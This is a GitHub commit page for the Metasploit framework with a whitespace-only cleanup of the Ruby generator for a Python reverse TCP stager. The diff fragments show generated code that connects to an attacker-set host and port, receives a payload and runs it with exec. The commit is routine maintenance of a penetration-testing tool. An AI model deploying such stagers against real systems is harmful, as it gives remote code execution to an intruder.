Skip to content

Commit 2ca53ea

Browse files
committed
Minor white space cleanups for PR rapid7#8275
1 parent e02d726 commit 2ca53ea

File tree

1 file changed

+4
-4
lines changed

1 file changed

+4
-4
lines changed

lib/msf/core/payload/python/reverse_tcp.rb

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@ def initialize(*args)
2020
super
2121
register_advanced_options([
2222
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]),
23-
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts',5])
23+
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5])
2424
], self.class)
2525
end
2626

@@ -57,8 +57,8 @@ def generate_reverse_tcp(opts={})
5757
cmd << "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2
5858
cmd << "s.connect(('#{opts[:host]}',#{opts[:port]}))\n"
5959
else
60-
if opts[:retry_count]>0
61-
cmd << "for x in range(#{opts[:retry_count].to_i}):\n"
60+
if opts[:retry_count] > 0
61+
cmd << "for x in range(#{opts[:retry_count].to_i}):\n"
6262
else
6363
cmd << "while 1:\n"
6464
end
@@ -79,7 +79,7 @@ def generate_reverse_tcp(opts={})
7979
cmd << "while len(d)<l:\n"
8080
cmd << "\td+=s.recv(l-len(d))\n"
8181
cmd << "exec(d,{'s':s})\n"
82-
82+
8383
py_create_exec_stub(cmd)
8484
end
8585

0 commit comments

Comments
 (0)